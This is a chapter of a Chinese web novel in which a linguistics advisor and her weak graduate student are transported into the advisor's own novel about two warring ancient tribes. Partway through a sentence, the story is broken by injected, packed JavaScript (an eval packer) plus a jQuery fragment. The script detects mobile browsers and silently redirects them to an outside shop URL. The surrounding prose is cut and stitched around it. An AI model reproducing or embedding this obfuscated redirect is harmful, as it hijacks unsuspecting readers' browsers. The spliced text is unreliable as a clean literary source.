凌晨两点的S大古语言比较研究所内，电脑屏幕的光映在两张脸上，一张甚是严肃一生无可恋。
“云末那。”愿宁星推了推眼镜，指尖点在屏幕上，冷静道:“总结下来，你这篇比较分析古什那苏语与古贺兰苏语的毕业论文，且不说研究价值，所引用的句式就混淆了五处，至于词根的误用更是数不胜数。”
一旁坐着的女生猛地抬头，抓狂似的揉着自己的乱发，“我亲爱的导儿，网上研究这两门古语的极少，我想参考都没地方，只能闭门造车……加之使用这两种语言的部落在历史上就本世代杂处，语言难免交融，有的对照词根长得跟双胞胎似的……我真不是故意弄混的啊！”
云末那，愿宁星带的第一届硕士生，专业吊车尾，常年在及格线边缘反复横跳。此刻摆在她面前的，是她改了五稿依旧漏洞百出的毕业论文，其内容正是愿宁星曾潜心研究了数年的领域:古什那苏、古贺兰苏两支同源却失传千年的边境部族语言。
此刻，为了帮她捋清语境和逻辑，愿宁星连自己私下写的小说都翻了出来。
“这书虽是小说体裁，但其基于的史实却是我查证过的。”愿宁星将一本手写标题为《两苏辞》的小说推给云末那，“虽然是BE，但补足你关于这两族的知识却是足够了。”
“导儿，平常看你端庄自持的，还写小说呢？”只要不提论文，云末那又恢复了往日里嬉皮笑脸的模样，“咋还写了个BE呢，这年头大家都爱看小甜文啊。”
“你看不看吧？不看还我。”拿自己写的小说给别人看，愿宁星本就觉得十分社死了，要不是怕她这开门大弟子毕不了业，她说什么也不会这样做的。
“看看看……”云末那做出谄媚讨好的样子，将那本用麻绳草草装订的小说捧在手里拜了又拜，庄重地翻开第一页，看着上面的简介指读道:“什那苏与贺兰苏是两支语言不通的敌对部族。本书男女主分属两族，明明有情，却因百年世仇和语言隔阂，在苍骊草原分道扬镳，天人永隔。”
“另本书内对白均为真实古语。”云末那读到这句注解时，一头磕在书上，“我的神仙导儿啊，我这两门古语烂成这样，你不怕我根本读不懂吗？”
“你最好读懂，要不然你就会和书中的男女主一样，吃了语言的亏而BE了。”愿宁星合上笔记本，准备起身离开。
“你别这么一语双关啊导儿，我不想BE，我想毕业！”云末那话音刚落，头顶灯管突然剧烈闪了几下，木质窗框也随着外面的风雨大作哐哐砸了几下，她忙抓住愿宁星的衣角，“导儿你别走，咱们研究所年久失修，这灯怪吓人的，你陪我呆会吧。”
愿宁星无奈扶额，无论云末那学术水平如何，总归是自己选的大宝贝儿开门弟子，还能怎么办。
宠着呗！
“我已将研究所的情况在学校系统里报修了。”愿宁星只好再度坐下，下意识扶了扶镜框，“十五分钟，你收拾好，在这里修缮完成前，你先在我家吃你的粉面卤蛋。”
“导儿你真是太好了！”云末那因今晚不用再睡在研究所的行军床上，心情变得十分畅快，顺手翻看起了面前的小说，“等我今晚入睡前，定要好好拜读这本大作……”
云末那说着，目光不自觉地落在了最后一页，低声读道:“什那苏族的女君与贺兰苏族的少主，他们那未曾说出口的爱意，分别被写入两族的诗歌中，千年后方有精通双方语言的人将其串联起来，成了这首写满载遗憾的两苏辞。”
她合上书，托腮感叹道:“这人啊……要是能绕过语言，直接心意相通就好了。”
愿宁星想，年少时的她，又何尝未曾这样想过呢？
当年她和祈海安，不就是因为一句话分开了吗。
虽她书里写的是语言不通造成的离别，而她青春里经历的，却是语言相通也无法阻止的错过。
说到底，都是没机会重说一遍的话。
她没接茬，只敲了敲桌面，把话题拽回正轨：“少扯别的了，你走还是不走？”
“不要走，我在等你。”
明明只有她二人在的研究所内，忽然出现了第三个青年男子的声音，而且还是用贺兰苏语说的。
这声音虽断断续续不甚清晰，像破旧电台里传出的变调对白。
但愿宁星对此却有种莫名熟悉的感觉。
“他说啥啊导儿？！”云末那已经吓得缩到愿宁星身后，手里还不忘拿着那本《两苏辞》。
“你是谁？”愿宁星摘下眼镜，边环顾四周边用同样的古语回应道，“要我们去哪？”
但这次无人回应。
取而代之的是更为深沉憾人的雷声。
像是远古巨龙的哀鸣，又像是族中祈福大巫的悲歌。
在这声波的震慑之下，愿宁星和云末那不约而同地感受到一阵天旋地转的眩晕。
忽有风沙之气顺着她们急促的呼吸钻入胸中，耳边不断传来兵刃相击的声响，还有战士不断高声嘶吼着的古语战歌。
再睁眼时，云末那已独自站在一座装饰华美的牛皮大帐中央。
她低头看向自己的装束，不仅身上已换了件绣着暗纹的绛色官袍，手里还攥着沉甸甸的羊皮卷，上面写满了虽有些眼熟却仍难以识别的文字。
她又向左右两侧怯怯撇去，只见那持矛的兵甲壮士站得笔直，其腰间泛着冷光刀刃上映着他们不苟言笑的脸。
就在她目光找不到下一个落点之时，她正对面的那张虎皮椅上，坐着个满脸横肉的部族执事，忽而开始吹胡子瞪眼地冲她咆哮，强制性地吸引走了她所有的注意力。
“他这叽里咕噜说啥呢？”云末那自言自语，将自己绣满飞鹰式样的皮靴靴尖对在一起，脚趾扣地时忽然灵光一现，兴奋呼喊道:“你说的是贺兰苏语，对不对？”
云末那话方出口，帐篷内的瞬间安静让她意识到，原来此刻真正在叽里咕噜的是自己。
而正在云末那不知所措的时候，她身后传来一个熟悉的声音:
“末那译官，你可听明白贺兰苏族执事所说了？”
“译官？”云末那猛地回头，发现自己身后，那缀满紫藤花的座椅上，正坐着一位身着脂玉色窄袖交领礼裙的女君，无论是其头上的金饰，还是其裙摆上绣
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17890406|212715||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
纹，都是与自己靴尖样式无二的飞鹰图腾。
且虽轻纱覆面，但仍难掩其明艳丽容。
事已至此，她算是明白了大概，自己应该是穿越到了什那苏族和贺兰苏族的故事之中了，而这场乌龙的缘由便应是……
那本《两苏辞》！
“我竟穿越进我导儿写的书里了？”
云末那掩口低声感叹时，身后那面容姣好的女君再度发话，“若对方所说不便公开，你且到我身侧来，先告知于我。”
云末那闻言知是救星到了，刚想高呼圣明，但却忽觉得这女君有几份面熟……
“导儿！”云末那一个没忍住惊呼出口时，那女君脸上立马变了颜色，她眉毛一高一低，眼皮突突地跳着，气呼呼地喘息似乎下一秒就要掀翻那遮掩真容的面纱。
女君身边的女侍也跟着奇怪，她轻声请示道:“吾君愿宁星，是否要带译官末那去帐外休息下？”
“不用……”愿宁星扶了扶那并不存在的眼镜框，压低声音冲着云末那说道:“导……到底是怎么回事？还不赶紧过来！”
尽管隔着一层面纱，云末那也已意识到，自己和导师愿宁星双双穿越进了这本《两苏辞》中。
云末那虽不知自己如今变成的译官是干啥的，但自己导儿应是变成了地位尊贵之人。
更重要的是，她的导儿如今可是唯一手握剧本的女人！
云末那像个螃蟹似的，十分不自然的横向挪步到愿宁星身旁，就像每次组会轮到她上去做汇报时的样子。
愿宁星朝云末那招招手，示意她俯身下来，以一种温柔到恐怖的语气说道:“你给我听好了，如今你和我一起穿越到了什那苏族，我是女君愿宁星，你是译官末那。现在是两族史上著名的苍骊谈判日，你把对面贺兰苏族执事所说翻译成什那苏语就行！”
“可我也说不太好什那苏语啊，导儿……”云末那深深叹气，垂肩松臂，像霜打了的茄子一般。
“你现在已经是什那苏人了，自然张口就是什那苏语，若是听明白了就先给我支棱起来。”
愿宁星嘴角虽仍挂着不变的端庄笑容，但依着云末那对她的了解，似乎已经看到了她那笑容背后的闪电雷鸣了。
“好的导儿……”云末那上一秒刚挺直身子，下一秒又因焦虑而变成了一根蔫儿了的芹菜，“可我也听不太懂贺兰苏语啊……”
“说也说不清，听也听不懂……你还真可称得上是史上第一大聪明译官啊。”愿宁星强压怒气道:“你听好，这场谈判后，两族决裂，你照这个方向翻译就行了！”
“两族决裂？所以导儿你书中原本相爱的什那苏女君和贺兰苏族长，才会彼此错过吧……”云末那说着说着竟开始摩拳擦掌，“那我明白了，你就瞧好吧导儿。”
愿宁星像是预感到了什么，在云末那再次走向译官位置前拽住了她的裙摆，“你之前写论文的时候，也是这么说的。好好回答我，你可真听明白了？”
“是的，一切正如下官方才所说。”云末那转身来到愿宁星正面，双手交叠于胸前，端正行礼，“请吾君愿宁星，静候佳音。”